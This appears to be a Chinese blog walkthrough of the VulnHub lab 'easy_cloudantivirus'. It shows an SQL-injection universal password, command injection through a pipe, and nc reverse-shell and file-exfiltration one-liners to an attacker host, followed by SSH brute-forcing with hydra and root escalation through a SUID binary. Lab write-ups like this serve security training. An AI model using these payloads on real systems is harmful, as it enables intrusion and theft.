vulnhub渗透测试靶场练习2

靶场介绍

靶场名:easy_cloudantivirus
靶场地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453

环境搭建

依旧使用VM VirtualBox搭建靶场,攻击机使用的是VMware中的kali,需要将VMware虚拟机kali和virtualbox靶机网络连接设置,参考链接如下:
https://blog.youkuaiyun.com/xujj10086/article/details/123836792

靶场练习

扫ip,扫端口

arp-scan -l

在这里插入图片描述

nmap -sS 192.168.0.4

在这里插入图片描述

利用sql注入万能密码登录

访问8080端口服务
在这里插入图片描述
在这里插入图片描述
网站是一个病毒扫描器,需要输入邀请码。
第一思路是使用万能密码尝试能否进入,于是使用burp进行抓包爆破,爆破出了可以登录进去的万能密码:
在这里插入图片描述
在这里插入图片描述
万能密码为:

  "or"a"="a

万能密码的原理是利用sql注入,这里是使用双引号对sql语句进行了闭合,才能进入系统。输入万能密码后进入页面
在这里插入图片描述
在这里插入图片描述

利用命令执行漏洞反弹shell

提示说尝试使用扫描器扫描其中的文件,那么我们输入hello试试:
在这里插入图片描述
返回了扫描的结果,这里我们判断我们输入hello后应该是后台会拼接上命令,我们可以尝试拼接命令看是否会被执行,通常会使用管道符|
输入

hello|id

成功返回了id的执行结果,说明此处存在命令执行漏洞
在这里插入图片描述

kali开启监听,使用nc进行反弹shell

hello|nc -nv 192.168.0.3 2333 -e /bin/bash

发现没有反弹成功,查看wp发现是因为靶场环境中的nc没有-e参数
输入

hello|nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444
这里kali需要同时开启2233和4444端口
我们在2233端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的4444端口中

如图所示,我们在2233处输入ls,命令执行的结果会在4444处返回
在这里插入图片描述

下载sql文件并进行读取

这里发现一个后缀名是sql的文件
通过nc命令将这个文件下载到kali里:
先在kali里开启监听:

nc -lvvp 5555 > db.sql
然后在可以执行的命令框中执行以下命令:
nc -nv 192.168.0.5 5555 <database.sql
如图所示,就已经收到这个文件了:
在这里插入图片描述

使用sqlite3尝试读取文件内容,读到了几个密码
在这里插入图片描述

使用hydra尝试爆破ssh

由于靶机开启了22端口,我们尝试找到有bash环境的用户进行密码爆破
通过读取 /etc/passwd文件,我们找到了三个有bash环境的用户
在这里插入图片描述
使用在第一次靶场中使用过的hydra进行爆破,需要制作用户名和密码的字典,结果如下:
在这里插入图片描述
没有跑出来可以登录的账号密码,说明这条路走不通了,需要再看下别的地方。

继续进行信息收集

继续进行信息收集:
我们在上一级目录中发现了update_cloudav和update_cloudav.c文件
在这里插入图片描述
查看详细的文件属性,发现update_cloudav文件属于root,也就是说这个文件有suid权限,所属组是scanner,使用whoami看到我们当前的用户也是scanner,也就是说我们有这个文件的执行权限
在这里插入图片描述

suid提权

这里我们可以想到update_cloudav.c就是这个可执行文文件的C语言源码,我们读取一下源文件:
在这里插入图片描述
可以看到内容就是执行病毒库的更新程序并且要求我们在执行文件的时候带一个参数(倒数第六行),带的参数也会放到system函数中执行,那我们就尝试让我们的参数是反弹shell的命令即可:
先在kali开启两个端口的监听,然后在执行命令的窗口执行下面的命令,要注意执行命令的路径要在update_cloudav文件所在的目录下

./update_cloudav “a |nc 192.168.0.5 6666|/bin/bash|nc 192.168.0.5 7777”

在这里插入图片描述
成功获得root权限!

后记

1.当nc命令带上-e参数无法执行时,可以先尝试一下不带参数的nc命令能否执行,可以执行的话就证明确实是靶机中的nc没有-e参数,就可以采用下面这种方法进行反弹shell

nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444

我们在2233端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的4444端口中。(当然这里针对nc没有-e参数还可以使用命名管道符进行反弹shell)

2.获取到shell后,要进行详细的信息收集,根据能收集到的所有信息,判断哪些文件可以帮助我们进行提权。像这个靶场中的update_cloudav文件,当然也需要有代码审计能力,这方面我还比较弱,是直接照着wp来的。

最后附上大佬的文章:
https://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247489706&idx=1&sn=91f7428304d36f0aea38750b1fbdb587&chksm=cfd86755f8afee43a58eb21f5c00a489841874a7970a3a88764352e19bd8f39fb1eb86687ba2&scene=178&cur_album_id=2923844073592012805#rd

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值